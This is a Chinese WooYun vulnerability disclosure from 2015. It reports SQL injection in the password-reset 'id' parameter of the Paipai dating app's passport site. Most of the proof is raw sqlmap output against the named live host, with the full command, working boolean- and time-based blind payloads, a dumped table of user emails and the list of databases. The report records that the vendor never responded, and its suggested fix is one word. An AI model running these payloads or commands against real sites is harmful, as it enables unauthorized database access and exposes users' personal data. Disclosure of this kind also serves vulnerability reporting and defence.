当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-0122397

漏洞标题:最火的手机同城交友软件派派一处SQL注入(涉及上百万)

相关厂商:派派

漏洞作者: 小龙

提交时间:2015-06-24 08:46

修复时间:2015-08-08 08:48

公开时间:2015-08-08 08:48

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:20

漏洞状态:未联系到厂商或者厂商积极忽略

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-06-24: 积极联系厂商并且等待厂商认领中,细节不对外公开
2015-08-08: 厂商已经主动忽略漏洞,细节向公众公开

简要描述:

1

详细说明:

派派.jpg

漏洞证明:

http://passport.ifreetalk.com/index.php?m=reset_pass&id=13177&u=0176b2f9b6c50f44cb1b28bb8908c75d&e=b788fb55cb201bc3d778959dd09b3b44


id参数存在注入

port_log' in database 'db_password_chg'
[03:04:07] [INFO] resumed: 2
[03:04:07] [INFO] resumed: [email protected]
[03:04:07] [INFO] resumed: [email protected]
[03:04:07] [INFO] analyzing table dump for possible password hashes
Database: db_password_chg
Table: t_passport_log
[2 entries]
+-----------------+
| email |
+-----------------+
| [email protected] |
| [email protected] |
+-----------------+
[03:04:07] [INFO] table 'db_password_chg.t_passport_log' dumped to CSV file 'C:\
Users\Administrator\.sqlmap\output\passport.ifreetalk.com\dump\db_password_chg\t
_passport_log.csv'
[03:04:07] [INFO] fetched data logged to text files under 'C:\Users\Administrato
r\.sqlmap\output\passport.ifreetalk.com'
[*] shutting down at 03:04:07
F:\Python27\sqlmap>


F:\Python27\sqlmap>sqlmap.py -u "http://passport.ifreetalk.com/index.php?m=reset
_pass&id=13177&u=0176b2f9b6c50f44cb1b28bb8908c75d&e=b788fb55cb201bc3d778959dd09b
3b44" --dbs
_
___ ___| |_____ ___ ___ {1.0-dev-nongit-20150529}
|_ -| . | | | .'| . |
|___|_ |_|_|_|_|__,| _|
|_| |_| http://sqlmap.org
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual
consent is illegal. It is the end user's responsibility to obey all applicable
local, state and federal laws. Developers assume no liability and are not respon
sible for any misuse or damage caused by this program
[*] starting at 03:13:59
[03:14:00] [INFO] resuming back-end DBMS 'mysql'
[03:14:00] [INFO] testing connection to the target URL
[03:14:01] [INFO] heuristics detected web page charset 'UTF-8'
sqlmap identified the following injection points with a total of 0 HTTP(s) reque
sts:
---
Parameter: id (GET)
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: m=reset_pass&id=13177 AND 2562=2562&u=0176b2f9b6c50f44cb1b28bb8908c
75d&e=b788fb55cb201bc3d778959dd09b3b44
Type: AND/OR time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (SELECT)
Payload: m=reset_pass&id=13177 AND (SELECT * FROM (SELECT(SLEEP(5)))KLJF)&u=
0176b2f9b6c50f44cb1b28bb8908c75d&e=b788fb55cb201bc3d778959dd09b3b44
---
[03:14:01] [INFO] the back-end DBMS is MySQL
web application technology: Nginx, PHP 5.5.6
back-end DBMS: MySQL 5.0.12
[03:14:01] [INFO] fetching database names
[03:14:01] [INFO] fetching number of databases
[03:14:01] [INFO] resumed: 4
[03:14:01] [INFO] resumed: information_schema
[03:14:01] [INFO] resumed: db_password_chg
[03:14:01] [INFO] resumed: db_sys
[03:14:01] [INFO] resumed: test
available databases [4]:
[*] db_password_chg
[*] db_sys
[*] information_schema
[*] test

修复方案:

过滤

版权声明:转载请注明来源 小龙@乌云


漏洞回应

厂商回应:

未能联系到厂商或者厂商积极拒绝

漏洞Rank:15 (WooYun评价)